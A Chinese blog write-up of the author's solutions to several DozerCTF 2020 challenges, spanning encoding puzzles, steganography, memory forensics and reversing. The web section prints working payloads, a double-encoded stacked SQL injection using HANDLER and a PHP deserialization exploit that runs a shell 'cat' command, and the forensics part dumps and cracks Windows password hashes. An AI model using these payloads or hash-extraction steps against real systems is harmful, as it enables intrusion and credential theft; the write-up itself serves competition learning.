menu Ga1@xy's Wor1d
DozerCTF部分wp
275 浏览 | 2020-06-15 | 阅读时间: 约 3 分钟 | 分类: wp | 标签: 比赛wp
请注意,本文编写于 163 天前,最后修改于 162 天前,其中某些信息可能已经过时。

经过两天的努力,最终拿到第五名的成绩,还白嫖999,可喜可贺(撒花撒花)!

CRYPTO

真·签到

R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=

base64 → base32 → decode('hex') → base58,得到flag

flag:Dozerctf{base_family_is_so_good}

MISC

py吗?

下载附件得到一个图片,010editor提示crc有问题,图片在win下可以正常显示,说明高度又问题,稍微改一下高度,可以看到下面的另一句话,但是也没啥用

stegsolve分析,发现有LSB隐写

最上面发现有一长串的base64(结尾可以看到两个=),cyberchef解一下,就可以看到flag

flag:Dozerctf{python_is_the_best_language!}

upload

附件为pcap文件,打开后导出http流,可以看到里面有flag.jpg,导出后并不能打开,010editor查看发现为zip文件,修改后缀为zip,再次打开发现内容被加密,其中有五个txt文件,每个文件大小都为6字节,于是想到crc32爆破,分别爆破五个文件的crc值,寻找其中有意义的字符串,连起来即是flag

1.txt: can_U_
2.txt: find_t
3.txt: hefile
4.txt: from_t
5.txt: raffic

flag:Dozerctf{can_U_find_thefilefrom_traffic}

夏日计划

下载附件,一个txt一个图片,图片中可以分离出一个压缩包,不过里面的内容没什么用,整道题的附件压缩格式为rar,所以很容易想到ntfs隐写(因为zip格式的压缩包无法保留ntfs数据流,但是rar格式可以)

dir /r查看,可以发现在important.txt文件后藏有一个压缩包(另一个数据流没什么用)

用工具将其导出,打开查看发现一堆报错,直接用WinRAR修复压缩包,就可以正常打开了

里面四个文件的内容都是坐标,将四个文件的内容都放在一个文件里,然后python画图

from PIL import Image

img = Image.new('RGB', (400, 400), (0, 0, 0))
f = open('secret-1','r')   # 我都放在secret-1里
while 1:
    a = f.readline().strip()
    if a:
        x, y = a.split(' ')
        x = int(x)
        y = int(y)
        img.putpixel((x, y), (255, 255, 255))
    else:
        break

img.save('flag.png')

得到一个汉信码

扫码得到flag(由于扫码网站崩了所以比赛时支持wp换flag,后来又找到了可以扫码的软件)

我就是弗拉格
Dozerctf{Congratulations_U_find_it}

easy_analysis

内存取证题,先查看镜像配置

volatility -f memory imageinfo

得到配置为Win7SP1x64,之后再查看进程列表

volatility -f memory --profile=Win7SP1x64 pslist

可以看到有个cmd.exe,于是查看cmd中内容

volatility -f memory --profile=Win7SP1x64 cmdscan

得到以下内容

CommandProcess: conhost.exe Pid: 2400
CommandHistory: 0x2c86d0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x2d1e90: cd Desktop/flag

发现其中有一个切换到桌面的flag文件夹的操作,于是查找和flag相关的进程

volatility -f memory --profile=Win7SP1x64 filescan | grep flag

可以看到在flag文件夹下还有个analys,将其导出

volatility -f memory --profile=Win7SP1x64 dumpfiles -D ./ -Q 0x000000001e85f430

查看导出的文件,发现是一个加密的zip包,而且有如下备注

Why  you don't know my password?
It's so easy.
Maybe you can log in to my computer.

意思就是这个压缩包的密码和系统密码相同,所以我们需要提取系统密码,参考

先获取注册表位置

volatility hivelist -f memory --profile=Win7SP1x64

再获取密码的hash值,导出至hash.txt

我们需要知道SYSTEM和SAM的起始位置即上图中第一列的信息,在上图中已经做了标记

volatility hashdump -f memory --profile=Win7SP1x64 -y 0xfffff8a000024010 -s 0xfffff8a00167a010 > hash.txt

得到以下信息

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
13m0nade:1000:aad3b435b51404eeaad3b435b51404ee:575f5313970908467a19d3a5aa269743:::

出题人为13m0nade,所以我们要破这个id对应的密码hash,即575f5313970908467a19d3a5aa269743在线网站直接解即可得到弱密码

解压后得到一个usb.pcap和一个被加密的flag.zip,再看usb.pcap

很明显的usb流量分析,tshark提取出数据后用脚本解

tshark -r usb.pcap -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

解出键盘流量内容

<GA><GA><DEL><DEL><DEL><DEL><RET><RET>A<RET><CAP>uto<SPACE>key<DEL><DEL><DEL><DEL>key<SPACE><SPACE>ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo<DEL>o<SPACE><SPACE><SPACE><SPACE>good<SPACE>luck<SPACE>

删去多余的字符和<DEL>对应的字符,替换掉<SPACE>,得到

Autokey  ylltmftnxbkgvcyydbuhdlcpspsptswrmwjjmnjgtylkegittoibgo    good luck

即autokey的密文为:ylltmftnxbkgvcyydbuhdlcpspsps<DEL>tswrmwjjmnjgtylkegittoibgo

由于没有密钥,所以需要用到脚本爆破,可参考这篇文章(引流引流~

可以看到当klen为9时,对应密钥为KEYFORZIP,得到明文

OHNOYOUFINDTHEKEYTHEKEYFORZIPISTHISKEYBOARDSUCKSFORYOU

对应压缩包密码在备注中提示小写:thiskeyboardsucksforyou

解压后打开flag.txt,其中大量的base64字符串,很显然是base64隐写,脚本跑一下

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('flag.txt', 'rb') as f:
    bin_str = ''
    for line in f.readlines():
        stegb64 = ''.join(line.split())
        rowb64 =  ''.join(stegb64.decode('base64').encode('base64').split())
        offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
        equalnum = stegb64.count('=')
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

最终得到flag:Dozerctf{itis_e4sy_4U2_analyse}

WEB

sqli-labs 0

感谢Match师傅的帮助!

注入题,给了hint:url二次编码

先查表名

http://118.31.11.216:30501/?id=1%2527;show tables--+

之后尝试了好几种注入方式,都8太行,最后找到了个差不多的今年新春抗疫赛的一道题,用了handler来构造payload,于是就照着wp用几个表名都试了下,最后试到uziuzi的时候成功得到flag

http://118.31.11.216:30501/?id=1%2527;handler uziuzi open; handler uziuzi read first;

flag:flag{594cb6af684ad354b4a59ac496473990}

白给的反序列化

有一道差不多的题:https://blog.csdn.net/weixin_30561425/article/details/97870577

题干描述中说了flag在flag.php里,那直接构造payload读取即可

<?php

class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

    $a = new home("mysys" , array("flag.php"));
    echo urlencode(serialize($a));
?>

得到以下字符串

O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

利用get请求把path传上去,得到base64加密的flag,解码一下即可

<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>

RE

貌似有些不对

下载得到exe,丢进ida,然后View → Open subviews → Strings

再往下翻又可以看到

推测换表base64,脚本还原一下

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
b = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
cip = 'OEG7U19kUvCsV29qzT9qcUm0yDCwy2CiWjOrU2Or'
cip2 = ''

for i in cip:
    cip2 += a[b.find(i)]

print cip2.decode('base64')

得到字符串:Dr{__g_!ocomiom}ztlasoaefdn_dn

再根据刚刚看到的rail fence,解栅栏加密,得到flag

flag:Dozerctf{old_man_is_good_man!}

全部评论

info 评论功能已经关闭了呐!